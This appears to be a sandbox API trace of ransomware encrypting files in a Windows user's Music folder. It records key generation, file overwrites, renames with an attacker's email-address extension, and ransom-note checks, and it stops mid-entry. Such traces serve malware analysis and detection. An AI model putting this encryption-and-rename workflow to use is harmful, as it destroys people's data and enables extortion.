[0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x33d27a8d [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x7b6b912 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x9a5b02bc [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x74ccd8ef [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xee72d1bf [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xcb005b45 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x7170d403 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x63ecebbc [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x265052f5 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x80f1cd1a [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xe63c836 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x1a057fd8 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x1bacbde6 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x71ed4949 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x9e2e0ad4 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xe6b92b31 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x406c586a [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xc147339c [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x77357dde [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x7d41fa96 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xe8a0cf4a [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x5f6dcaf2 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x13be6eda [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x8ecc5df6 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x7634b04a [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x465572a4 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xb0164812 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xe2951c34 [0173.028] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xb4ff9f03 [0173.028] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xf9ecc545 [0173.028] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0x4686c734 [0173.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0173.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30132d8 [0173.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ee8 [0173.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0173.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053cb8 [0173.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053cb8) returned 1 [0173.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.040] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x2eb2, lpNumberOfBytesRead=0x183ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x183ffc9c*=0x2eb2, lpOverlapped=0x0) returned 1 [0173.041] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x183ffc64 | out: lpNewFilePointer=0x0) returned 1 [0173.041] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x2eb2, lpNumberOfBytesWritten=0x183ffc98, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x183ffc98*=0x2eb2, lpOverlapped=0x0) returned 1 [0173.041] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.041] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.042] WriteFile (in: hFile=0x584, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x183ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x183ffc94*=0x20, lpOverlapped=0x0) returned 1 [0173.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0173.042] WriteFile (in: hFile=0x584, lpBuffer=0x3053ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x183ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x3053ee8*, lpNumberOfBytesWritten=0x183ffcc0*=0x8, lpOverlapped=0x0) returned 1 [0173.042] WriteFile (in: hFile=0x584, lpBuffer=0x183ffcd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x183ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x183ffcd8*, lpNumberOfBytesWritten=0x183ffcc0*=0x4, lpOverlapped=0x0) returned 1 [0173.042] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x183ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x183ffcc0*=0x4, lpOverlapped=0x0) returned 1 [0173.042] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x183ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x183ffcc0*=0x6c, lpOverlapped=0x0) returned 1 [0173.043] WriteFile (in: hFile=0x584, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x183ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x183ffcc0*=0x20, lpOverlapped=0x0) returned 1 [0173.043] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x183ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x183ffcc0*=0x4, lpOverlapped=0x0) returned 1 [0173.043] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.043] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0173.043] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ee8) returned 1 [0173.043] CloseHandle (hObject=0x584) returned 1 [0173.043] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85218 [0173.043] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731" [0173.043] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.043] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\crd9rozx-rjgv.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\crd9rozx-rjgv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.044] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.044] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0173.044] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.044] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8ba10 [0173.044] wcscpy (in: _Dest=0x2f8ba10, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0173.044] wcscat (in: _Dest=0x2f8ba10, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt" [0173.044] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\d0e731-readme.txt")) returned 0x20 [0173.045] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ba10) returned 1 [0173.045] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9e070) returned 1 [0173.045] RtlExitUserThread (Status=0x1) Thread: id = 2089 os_tid = 0x118c [0173.047] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\pmq_l.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.047] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.047] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\pmq_l.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0173.047] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x1847fda0 | out: lpFileSize=0x1847fda0*=52959) returned 1 [0173.047] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0xcedb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.047] ReadFile (in: hFile=0x584, lpBuffer=0x1847fd74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1847fd70, lpOverlapped=0x0 | out: lpBuffer=0x1847fd74*, lpNumberOfBytesRead=0x1847fd70*=0x4, lpOverlapped=0x0) returned 1 [0173.048] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053bc8 [0173.048] NtQuerySystemTime (in: CurrentTime=0x1847fd4c | out: CurrentTime=0x1847fd4c*=132121213303577331) returned 0x0 [0173.048] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xe53b56c0 [0173.048] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xf01db5e5 [0173.048] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x8ef7d879 [0173.048] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x8aec1feb [0173.048] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x35e3c688 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x145228ef [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x27008236 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xaf55f432 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xc93f698a [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x76706d0e [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xec747466 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x34f1e732 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xbc7674f6 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x78d3c9e5 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x391649d1 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x15873b7 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x12f3fed1 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xe4e7959 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x1d63dc41 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x8dc5de4e [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x2089c4cf [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x16ed378f [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xdd107276 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x255a1d3b [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x28480a7b [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x94bdd41 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xd1f9dfb0 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x4c5b52a2 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0xd0ee1e4d [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x5e0ed846 [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x7588b68d [0173.049] RtlRandom (in: Seed=0x1847fd58 | out: Seed=0x1847fd58) returned 0x93a1cfba [0173.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0173.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30132d8 [0173.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ee8 [0173.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.061] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.061] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1847fd24, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1847fd24*=0x4096, lpOverlapped=0x0) returned 1 [0173.061] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0173.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053cb8 [0173.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053cb8) returned 1 [0173.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0173.062] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1847fd24, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1847fd24*=0x4096, lpOverlapped=0x0) returned 1 [0173.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.062] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0xcedf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.063] WriteFile (in: hFile=0x584, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1847fd5c, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x1847fd5c*=0x20, lpOverlapped=0x0) returned 1 [0173.063] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.063] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.063] WriteFile (in: hFile=0x584, lpBuffer=0x3053ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1847fd70, lpOverlapped=0x0 | out: lpBuffer=0x3053ee8*, lpNumberOfBytesWritten=0x1847fd70*=0x8, lpOverlapped=0x0) returned 1 [0173.063] WriteFile (in: hFile=0x584, lpBuffer=0x1847fd88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1847fd70, lpOverlapped=0x0 | out: lpBuffer=0x1847fd88*, lpNumberOfBytesWritten=0x1847fd70*=0x4, lpOverlapped=0x0) returned 1 [0173.063] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1847fd70, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1847fd70*=0x4, lpOverlapped=0x0) returned 1 [0173.063] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1847fd70, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1847fd70*=0x6c, lpOverlapped=0x0) returned 1 [0173.064] WriteFile (in: hFile=0x584, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1847fd70, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x1847fd70*=0x20, lpOverlapped=0x0) returned 1 [0173.064] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1847fd70, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1847fd70*=0x4, lpOverlapped=0x0) returned 1 [0173.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0173.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ee8) returned 1 [0173.064] CloseHandle (hObject=0x584) returned 1 [0173.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4760 [0173.064] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731" [0173.064] wcscat (in: _Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.064] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\pmq_l.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\pmq_l.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.065] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0173.065] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.065] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8b790 [0173.065] wcscpy (in: _Dest=0x2f8b790, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0173.065] wcscat (in: _Dest=0x2f8b790, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt" [0173.065] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\d0e731-readme.txt")) returned 0x20 [0173.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b790) returned 1 [0173.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f917c0) returned 1 [0173.065] RtlExitUserThread (Status=0x1) Thread: id = 2090 os_tid = 0x1190 [0173.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x44) returned 0x4f01270 [0173.068] wcscpy (in: _Dest=0x4f01270, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0173.068] wcscat (in: _Dest=0x4f01270, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0173.068] wcscat (in: _Dest=0x4f01270, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\*" [0173.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021b18 [0173.068] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\*", lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d87e7c0, ftCreationTime.dwHighDateTime=0x1d4d2d6, ftLastAccessTime.dwLowDateTime=0x86c1a72d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86c1a72d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f805a0 [0173.070] wcscmp (_String1=".", _String2=".") returned 0 [0173.070] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d87e7c0, ftCreationTime.dwHighDateTime=0x1d4d2d6, ftLastAccessTime.dwLowDateTime=0x86c1a72d, ftLastAccessTime.dwHighDateTime=0x1d56382, 